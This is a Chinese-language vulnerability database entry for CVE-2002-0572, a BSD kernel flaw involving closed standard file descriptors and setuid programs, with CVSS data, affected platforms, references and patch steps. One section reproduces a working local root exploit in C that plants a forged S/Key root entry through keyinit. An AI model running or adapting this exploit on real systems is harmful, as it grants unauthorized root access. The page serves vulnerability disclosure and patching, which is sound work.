CVE-2002-0572
CVSS7.2
发布时间 :2002-07-03 00:00:00
修订时间 :2008-09-05 16:28:22
NMCOES    

[原文]FreeBSD 4.5 and earlier, and possibly other BSD-based operating systems, allows local users to write to or read from restricted files by closing the file descriptors 0 (standard input), 1 (standard output), or 2 (standard error), which may then be reused by a called setuid process that intended to perform I/O on normal files.


[CNNVD]BSD内核exec调用处理C程序库标准I/O文件描述符不当导致权限提升漏洞(CNNVD-200207-010)

        
        BSD Unix是一个Unix类操作系统的重要分支。
        基于BSD内核系统实现上在进I/O操作时存在漏洞,导致本地攻击者可能利用此漏洞得到主机的root权限。
        基于BSD内核的系统在用exec()调用执行特权程序时,不恰当地假设0、1、2是stdin、stdout、stderr。这样的后果可能出现向2号句柄写入错误提示信息的可能,而当2号句柄并非stderr时,就会破坏实际对应的那个文件。利用这个漏洞,攻击者可以把恶意的数据写到敏感的I/O通道中去,本地攻击者可能因此得到root权限。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:openbsd:openbsd:2.0OpenBSD 2.0
cpe:/o:sun:solaris:8.0
cpe:/o:sun:solaris:2.6
cpe:/o:openbsd:openbsd:2.2OpenBSD 2.2
cpe:/o:freebsd:freebsd:4.5:release
cpe:/o:sun:solaris:2.5.1
cpe:/o:openbsd:openbsd:2.3OpenBSD 2.3
cpe:/o:openbsd:openbsd:2.1OpenBSD 2.1
cpe:/o:freebsd:freebsd:4.5:stable
cpe:/o:sun:solaris:7.0::x86
cpe:/o:sun:solaris:7.0
cpe:/o:sun:solaris:8.0::x86
cpe:/o:freebsd:freebsd:4.4:releng
cpe:/o:sun:solaris:2.6::x86
cpe:/o:sun:solaris:2.5.1::x86

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0572
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0572
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200207-010
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/809347
(UNKNOWN)  CERT-VN  VU#809347
http://www.securityfocus.com/bid/4568
(VENDOR_ADVISORY)  BID  4568
http://online.securityfocus.com/archive/1/268970
(VENDOR_ADVISORY)  BUGTRAQ  20020422 Pine Internet Advisory: Setuid application execution may give local root in FreeBSD
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc
(VENDOR_ADVISORY)  FREEBSD  FreeBSD-SA-02:23
http://www.iss.net/security_center/static/8920.php
(UNKNOWN)  XF  bsd-suid-apps-gain-privileges(8920)
http://online.securityfocus.com/archive/1/269102
(UNKNOWN)  BUGTRAQ  20020423 cheers
http://archives.neohapsis.com/archives/vulnwatch/2002-q2/0033.html
(UNKNOWN)  VULNWATCH  20020422 Pine Internet Advisory: Setuid application execution may give local root in FreeBSD
http://www.osvdb.org/6095
(UNKNOWN)  OSVDB  6095
http://www.ciac.org/ciac/bulletins/m-072.shtml
(UNKNOWN)  CIAC  M-072

- 漏洞信息

BSD内核exec调用处理C程序库标准I/O文件描述符不当导致权限提升漏洞
高危 设计错误
2002-07-03 00:00:00 2005-10-20 00:00:00
本地  
        
        BSD Unix是一个Unix类操作系统的重要分支。
        基于BSD内核系统实现上在进I/O操作时存在漏洞,导致本地攻击者可能利用此漏洞得到主机的root权限。
        基于BSD内核的系统在用exec()调用执行特权程序时,不恰当地假设0、1、2是stdin、stdout、stderr。这样的后果可能出现向2号句柄写入错误提示信息的可能,而当2号句柄并非stderr时,就会破坏实际对应的那个文件。利用这个漏洞,攻击者可以把恶意的数据写到敏感的I/O通道中去,本地攻击者可能因此得到root权限。
        

- 公告与补丁

        厂商补丁:
        FreeBSD
        -------
        FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-02:23)以及相应补丁:
        FreeBSD-SA-02:23:insecure handling of stdio file descriptors
        链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc
        补丁下载:
        1) 将受影响的FreeBSD系统升级到相应修正日期后发布的4.5-STABLE或相应修正日期后
         发布的RELENG_4_5 (4.5-RELEASE-p4)或RELENG_4_4 (4.4-RELEASE-p11)。
        2) 为现有系统安装补丁:
        a) 从下列地址下载相应的补丁并用你的PGP工具核实分开的PGP签名。
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch
        # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc
        b) 请以root身份执行下列命令:
        # cd /usr/src
        # patch < /path/to/patch
        c) 按照下列描述重新编写kernel并重启系统:
        
        http://www.freebsd.org/handbook/kernelconfig.html

- 漏洞信息 (21407)

OS X 10.x, FreeBSD 4.x,OpenBSD 2.x,Solaris 2.5/2.6/7.0/8 exec C Library Standard I/O File Descriptor Closure (EDBID:21407)
bsd local
2002-04-23 Verified
0 phased
N/A [点击下载]
source: http://www.securityfocus.com/bid/4568/info

It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'. 

This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.

/*
  phased/b10z
  phased@snosoft.com
  23/04/2002

  stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE 
  decided to make a trivial exploit to easily get root :)

  > id
  uid=1003(phased) gid=999(phased) groups=999(phased)
  > ./iosmash
  Adding phased:
  <--- HIT CTRL-C ---> 
  > su
  s/key 98 snosoft2
  Password:MASS OAT ROLL TOOL AGO CAM
  xes# 

  this program makes the following skeys valid

  95: CARE LIVE CARD LOFT CHIC HILL
  96: TESS OIL WELD DUD MUTE KIT
  97: DADE BED DRY JAW GRAB NOV
  98: MASS OAT ROLL TOOL AGO CAM
  99: DARK LEW JOLT JIVE MOS WHO

  http://www.snosoft.com
  cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
        while(dup(1) != -1);
        close(2);
        execl("/usr/bin/keyinit",
        "\nroot 0099 snosoft2   6f648e8bd0e2988a     Apr 23,2666 01:02:03\n");
}		

- 漏洞信息

6095
Multiple BSD exec C File Descriptor Privilege Escalation
Local Access Required Input Manipulation, Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

BSD-based kernels contain a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when the kernel does not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. This flaw may lead to a loss of integrity.

- 时间线

2002-04-22 Unknow
2002-04-23 Unknow

- 解决方案

Upgrade to version FreeBSD (4.5-STABLE dated 2002-04-21 or later) or the latest RELENG_4_5 (4.5-RELEASE-p4) or RELENG_4_4 (4.4-RELEASE-p11) security branches (dated 2002-04-21 or later), as it has been reported to fix this vulnerability. Also, FreeBSD has released a patch. OpenBSD has released a patch. Currently, there are no known upgrades, patches, or workarounds available for Sun and Compaq platforms to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

BSD exec C Library Standard I/O File Descriptor Closure Vulnerability
Design Error 4568
No Yes
2002-04-22 12:00:00 2009-07-11 12:46:00
Vulnerability discovery credited to Joost Pol <joost@pine.nl>.

- 受影响的程序版本

Sun Solaris 2.5.1 _x86
Sun Solaris 2.5.1
Sun Solaris 8_x86
Sun Solaris 8_sparc
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.6_x86
Sun Solaris 2.6
OpenBSD OpenBSD 2.3
OpenBSD OpenBSD 2.2
OpenBSD OpenBSD 2.1
OpenBSD OpenBSD 2.0
FreeBSD FreeBSD 4.6 -STABLE
FreeBSD FreeBSD 4.6 -RELEASE
FreeBSD FreeBSD 4.6
FreeBSD FreeBSD 4.5 -STABLE
FreeBSD FreeBSD 4.5 -RELEASE
FreeBSD FreeBSD 4.4 -RELENG
Compaq Tru64 5.1 a PK3 (BL3)
Compaq Tru64 5.1 a PK2 (BL2)
Compaq Tru64 5.1 a PK1 (BL1)
Compaq Tru64 5.1 a
Compaq Tru64 5.1 PK6 (BL20)
Compaq Tru64 5.1 PK5 (BL19)
Compaq Tru64 5.1 PK4 (BL18)
Compaq Tru64 5.1 PK3 (BL17)
Compaq Tru64 5.1
Compaq Tru64 5.0 a PK3 (BL17)
Compaq Tru64 5.0 a
Compaq Tru64 4.0 g PK3 (BL17)
Compaq Tru64 4.0 g
Compaq Tru64 4.0 f PK7 (BL18)
Compaq Tru64 4.0 f PK6 (BL17)
Compaq Tru64 4.0 f
Apple Mac OS X Server 10.3.4
Apple Mac OS X Server 10.3.3
Apple Mac OS X Server 10.3.2
Apple Mac OS X Server 10.3.1
Apple Mac OS X Server 10.3
Apple Mac OS X Server 10.2.8
Apple Mac OS X Server 10.2.7
Apple Mac OS X Server 10.2.6
Apple Mac OS X Server 10.2.5
Apple Mac OS X Server 10.2.4
Apple Mac OS X Server 10.2.3
Apple Mac OS X Server 10.2.2
Apple Mac OS X Server 10.2.1
Apple Mac OS X Server 10.2
Apple Mac OS X Server 10.1.5
Apple Mac OS X Server 10.1.4
Apple Mac OS X Server 10.1.3
Apple Mac OS X Server 10.1.2
Apple Mac OS X Server 10.1.1
Apple Mac OS X Server 10.1
Apple Mac OS X Server 10.0
Apple Mac OS X 10.3.4
Apple Mac OS X 10.3.3
Apple Mac OS X 10.3.2
Apple Mac OS X 10.3.1
Apple Mac OS X 10.3
Apple Mac OS X 10.2.8
Apple Mac OS X 10.2.7
Apple Mac OS X 10.2.6
Apple Mac OS X 10.2.5
Apple Mac OS X 10.2.4
Apple Mac OS X 10.2.3
Apple Mac OS X 10.2.2
Apple Mac OS X 10.2.1
Apple Mac OS X 10.2
Apple Mac OS X 10.1.5
Apple Mac OS X 10.1.4
Apple Mac OS X 10.1.3
Apple Mac OS X 10.1.2
Apple Mac OS X 10.1.1
Apple Mac OS X 10.1
Apple Mac OS X 10.1
Apple Mac OS X 10.0.4
Apple Mac OS X 10.0.3
Apple Mac OS X 10.0.2
Apple Mac OS X 10.0.1
Apple Mac OS X 10.0 3
Apple Mac OS X 10.0

- 漏洞讨论

It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'.

This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.

- 漏洞利用

Exploit contributed by phased &lt;phased@snosoft.com&gt;.

- 解决方案

This problem is fixed in the OpenBSD cvs as of July 02, 1998.

HP has released an advisory, and made fixes available to address this issue.

FreeBSD has announced that their original patch contained an error. Patched systems using procfs or linprocfs may still be vulnerable to this issue. A new patch has been issued:


Compaq Tru64 4.0 f PK6 (BL17)

Compaq Tru64 4.0 f

Compaq Tru64 4.0 g PK3 (BL17)

Compaq Tru64 4.0 g

Compaq Tru64 4.0 f PK7 (BL18)

FreeBSD FreeBSD 4.4 -RELENG

FreeBSD FreeBSD 4.5 -STABLE

FreeBSD FreeBSD 4.5 -RELEASE

FreeBSD FreeBSD 4.6 -RELEASE

FreeBSD FreeBSD 4.6 -STABLE

Compaq Tru64 5.0 a PK3 (BL17)

Compaq Tru64 5.0 a

Compaq Tru64 5.1 PK6 (BL20)

Compaq Tru64 5.1 a PK1 (BL1)

Compaq Tru64 5.1 a PK2 (BL2)

Compaq Tru64 5.1 PK3 (BL17)

Compaq Tru64 5.1 PK4 (BL18)

Compaq Tru64 5.1 a

Compaq Tru64 5.1

Compaq Tru64 5.1 PK5 (BL19)

Compaq Tru64 5.1 a PK3 (BL3)

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站